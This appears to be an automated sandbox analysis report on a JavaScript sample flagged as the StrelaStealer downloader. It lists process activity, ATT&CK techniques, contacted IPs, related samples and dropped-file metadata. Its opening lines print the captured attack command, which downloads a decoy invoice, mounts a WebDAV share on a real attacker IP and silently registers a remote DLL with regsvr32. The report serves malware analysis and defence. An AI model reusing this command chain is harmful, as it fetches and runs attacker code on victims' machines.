Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2279239302728123306.js	10%	Virustotal		Browse
2279239302728123306.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/Num	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.10.dr, qmgr.db.10.dr	false		high
http://crl.ver)	svchost.exe, 0000000A.00000002.3439429733.000001EA7F600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 0000000A.00000003.2308059379.000001EA7F3A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2291439513.000001893945C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2291439513.000001893943B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2290895660.000001893945A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2291375541.0000018939408000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2290988220.000001893943B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Num	net.exe, 00000007.00000002.2291375541.0000018939408000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588560
Start date and time:	2025-01-11 02:23:01 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2279239302728123306.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/53@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 52.22.41.97, 3.219.243.226, 3.233.129.217, 52.6.155.20, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 2.23.244.205, 2.16.168.107, 2.16.168.105, 104.126.112.182, 13.107.246.45, 20.109.210.53
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:24:10	API Interceptor	33x Sleep call for process: powershell.exe modified
20:24:16	API Interceptor	1x Sleep call for process: net.exe modified
20:24:18	API Interceptor	2x Sleep call for process: svchost.exe modified
20:24:29	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2752019937704124971.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	18731127942186526806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1792532021822412669.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18971281001132729595.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2752019937704124971.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17985298091058916725.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307171868060245
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDuge:gJjJGtpTq2yv1AuNZRY3diu8iBVqFs
MD5:	2FD9C94E7312D2A9BD4141336F6CDCFF
SHA1:	7AAD4165635D5654CE47F885227E50907BE21887
SHA-256:	A42FB2E9737FE1FB6AC24C550812D0C09689722C9FD8BC3082AE105626236EE9
SHA-512:	6F80FB53876C05B3E8388A8FB7B600CDE0F977BA7235BD2C57EC87C8AC92E2933C0334B99F64DEF51DDB4AB03851798F60B9514AE329938768C2605E48831D7F
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x80bf3711, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.658562860735627
Encrypted:	false
SSDEEP:	1536:UnSSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/T:UnSaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	C06C60C696C710768620F542E3E044E3
SHA1:	7B603EE2F56EE7802B5A49088325F6130A989DFE
SHA-256:	93BB88E20D5BF38429838929700C56787A99257CBF7835AAA89A7B84FB75E9C4
SHA-512:	81A91A33EECAE2077F361160978510F392E19B83C992F6103102A6095BDDA78DB74590A7FA5353E20EB421A8DD0384D57CCB6288EDDF980DB59558CC9565954D
Malicious:	false
Preview:	..7.... ...............X\...;...{......................0.z..........{.......}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................4."......}.................e.Bd.....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08107638786398715
Encrypted:	false
SSDEEP:	3:tyYeAGuubGuAJkhvekl10BN8lllollrekGltll/SPj:tyzggrxlqBN8lAJe3l
MD5:	760FC7E15047785ECBE7CDD4B2427877
SHA1:	E70E6A1B032FD5F0D6C7C7F4CC5995168E36158C
SHA-256:	EC961194DB0B64502AA6BFADC67E6752BB5DDCEE31A9C15C00EDC033D787738B
SHA-512:	B6FCA51B7FB8F289F576E3A0CAE1388464ED907CA745795A959DFD58AFBE7148169532F50464E4E1025BB03731B74A99C27C69E74DE1609EFFD595A72A301155
Malicious:	false
Preview:	..h......................................;...{.......}.......{...............{.......{...XL......{..................e.Bd.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.165595097359461
Encrypted:	false
SSDEEP:	6:iO4qVCIsN+q2P92nKuAl9OmbnIFUtSqVC3fAZmwsqVC3fwVkwO92nKuAl9OmbjLJ:7nSIv4HAahFUtZGfA/LGfo5LHAaSJ
MD5:	69FC6469B9AEB4661FBB6B181CD4D297
SHA1:	6F0A8B81A54EF6E54A5426A42AFD1477BB341C01
SHA-256:	D230D237793AA591954C14F91250A051B61E223567EB8805BB08B6BA52BB2EF4
SHA-512:	23063D35B41AEACE8E1F6D6CA7B6FF798781B89FA8006A5B2642B7CD128C18BF6BBBD9AB9C5C077B30C7805D43401BF5D021B4BF7A4B2ACAF4062BEFD4F25030
Malicious:	false
Preview:	2025/01/10-20:24:18.487 1c18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:24:18.491 1c18 Recovering log #3.2025/01/10-20:24:18.491 1c18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.165595097359461
Encrypted:	false
SSDEEP:	6:iO4qVCIsN+q2P92nKuAl9OmbnIFUtSqVC3fAZmwsqVC3fwVkwO92nKuAl9OmbjLJ:7nSIv4HAahFUtZGfA/LGfo5LHAaSJ
MD5:	69FC6469B9AEB4661FBB6B181CD4D297
SHA1:	6F0A8B81A54EF6E54A5426A42AFD1477BB341C01
SHA-256:	D230D237793AA591954C14F91250A051B61E223567EB8805BB08B6BA52BB2EF4
SHA-512:	23063D35B41AEACE8E1F6D6CA7B6FF798781B89FA8006A5B2642B7CD128C18BF6BBBD9AB9C5C077B30C7805D43401BF5D021B4BF7A4B2ACAF4062BEFD4F25030
Malicious:	false
Preview:	2025/01/10-20:24:18.487 1c18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:24:18.491 1c18 Recovering log #3.2025/01/10-20:24:18.491 1c18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.136602695785372
Encrypted:	false
SSDEEP:	6:iO4qVCcSVq2P92nKuAl9Ombzo2jMGIFUtSqVCpgZmwsqVCpIkwO92nKuAl9Ombzz:7nROv4HAa8uFUtZn/L15LHAa8RJ
MD5:	8BC67032ACE0D6F5E69C2A386E6A6B55
SHA1:	1373C03191A74D491753C0B56EAF007381F92930
SHA-256:	97EE422A0CA151C6DBEB5C8702A76129B9957F4EE06475B3B15B0E3E9C2D3676
SHA-512:	CA5D9FF881FB363C5B23A7EFA1DE4772ABB7E19DEE0CFC13C5801F8DAB23997E48A0F892D4D7F50CC61280DE90B769FC67F06F279A81ECCD9809CF6FC424F496
Malicious:	false
Preview:	2025/01/10-20:24:18.842 1d84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:24:18.844 1d84 Recovering log #3.2025/01/10-20:24:18.844 1d84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.136602695785372
Encrypted:	false
SSDEEP:	6:iO4qVCcSVq2P92nKuAl9Ombzo2jMGIFUtSqVCpgZmwsqVCpIkwO92nKuAl9Ombzz:7nROv4HAa8uFUtZn/L15LHAa8RJ
MD5:	8BC67032ACE0D6F5E69C2A386E6A6B55
SHA1:	1373C03191A74D491753C0B56EAF007381F92930
SHA-256:	97EE422A0CA151C6DBEB5C8702A76129B9957F4EE06475B3B15B0E3E9C2D3676
SHA-512:	CA5D9FF881FB363C5B23A7EFA1DE4772ABB7E19DEE0CFC13C5801F8DAB23997E48A0F892D4D7F50CC61280DE90B769FC67F06F279A81ECCD9809CF6FC424F496
Malicious:	false
Preview:	2025/01/10-20:24:18.842 1d84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:24:18.844 1d84 Recovering log #3.2025/01/10-20:24:18.844 1d84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.046375817006355
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqkJksBdOg2HOcaq3QYiubxnP7E4T3OF+:Y2sRds1JJdMHx3QYhbxP7nbI+
MD5:	3DC9C9B6CC7EE3C5052C75716FC8D451
SHA1:	EDB728083076F6D787F35A78A1134EAEED50F10B
SHA-256:	A951C1BDB2F026218DBEF6A2E94C957CFFA4B5DD5F3D2F843F12A8AF250854C5
SHA-512:	327E3371AA071E39AF424F6E520A45C6473AA3DBCF3C73E589C5BEC7E0FE41BBC59E1D86A5A3F06C42B024CCC2C319F72E9389536BC52158604F60E3F3B027E1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118664621598","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128209},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\db4233f6-0263-4cee-979f-d39328a1d002.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.046375817006355
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqkJksBdOg2HOcaq3QYiubxnP7E4T3OF+:Y2sRds1JJdMHx3QYhbxP7nbI+
MD5:	3DC9C9B6CC7EE3C5052C75716FC8D451
SHA1:	EDB728083076F6D787F35A78A1134EAEED50F10B
SHA-256:	A951C1BDB2F026218DBEF6A2E94C957CFFA4B5DD5F3D2F843F12A8AF250854C5
SHA-512:	327E3371AA071E39AF424F6E520A45C6473AA3DBCF3C73E589C5BEC7E0FE41BBC59E1D86A5A3F06C42B024CCC2C319F72E9389536BC52158604F60E3F3B027E1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118664621598","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128209},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.2350266948066695
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUlmMAhgOn:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLh
MD5:	C4D4B52C733F5C144271B76C199D344E
SHA1:	973BC8D912008257E560D327F5165E5F4ED306C0
SHA-256:	E07A26D0F0508A9B5DC4484D86C0CC6D69CDE204307E3C21D9F1DB3E405324F2
SHA-512:	EAE38503EB8D085B43488EB8E0E51C68FC843407C057522A05964199ADB2BFB24ACE60444175B3E710EAABF4CFADCF8C46459584BFD591701EF3F21A91BD8C8D
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.151336148022685
Encrypted:	false
SSDEEP:	6:iO4qVC+FeVq2P92nKuAl9OmbzNMxIFUtSqVC+6IgZmwsqVC+6IIkwO92nKuAl9Ob:7n3av4HAa8jFUtZA/Lo5LHAa84J
MD5:	2AECDF56AF42C002C9ECA1F8A1CCB50D
SHA1:	069F17FD8500F1CE72C4BE920B02BAAE3F33C779
SHA-256:	D78012205F10FEBDE4CB1AFFCA1973A6164CFFF7509366D9C89700C454056534
SHA-512:	CAD8822C77D1702B29B22CDCDD46013703EF2452F7622D149D71E986DBEB7FB8B956BCF70A60D382356FC48D82E5EEB2DBB6D3795DD01C1C2F29F8DA44290C89
Malicious:	false
Preview:	2025/01/10-20:24:19.038 1d84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:24:19.040 1d84 Recovering log #3.2025/01/10-20:24:19.040 1d84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.151336148022685
Encrypted:	false
SSDEEP:	6:iO4qVC+FeVq2P92nKuAl9OmbzNMxIFUtSqVC+6IgZmwsqVC+6IIkwO92nKuAl9Ob:7n3av4HAa8jFUtZA/Lo5LHAa84J
MD5:	2AECDF56AF42C002C9ECA1F8A1CCB50D
SHA1:	069F17FD8500F1CE72C4BE920B02BAAE3F33C779
SHA-256:	D78012205F10FEBDE4CB1AFFCA1973A6164CFFF7509366D9C89700C454056534
SHA-512:	CAD8822C77D1702B29B22CDCDD46013703EF2452F7622D149D71E986DBEB7FB8B956BCF70A60D382356FC48D82E5EEB2DBB6D3795DD01C1C2F29F8DA44290C89
Malicious:	false
Preview:	2025/01/10-20:24:19.038 1d84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:24:19.040 1d84 Recovering log #3.2025/01/10-20:24:19.040 1d84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7321365340992054
Encrypted:	false
SSDEEP:	3:kkFklskqlL/tfllXlE/HT8kDjNNX8RolJuRdxLlGB9lQRYwpDdt:kK1kq1eT8mNMa8RdWBwRd
MD5:	96E08B0F57FECD07C531149263E4D25E
SHA1:	5EF013EF86D2B0508E8B676C153748C799B7BBA0
SHA-256:	50A05F2907F7A14B6A48D61BD94EBFF2EEE1D1169C9C7E30DFCEB90D3A28AFF6
SHA-512:	24738990FC38242ED149D39CB42F4FE5ABA8477C97368ED0B587250DA26A24F76F0D02DCECD5DDA114B4D11017DC290E16346CA816CC7A1EA69C8AA8E627F091
Malicious:	false
Preview:	p...... ...........c..(....................................................... ..........W....9...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
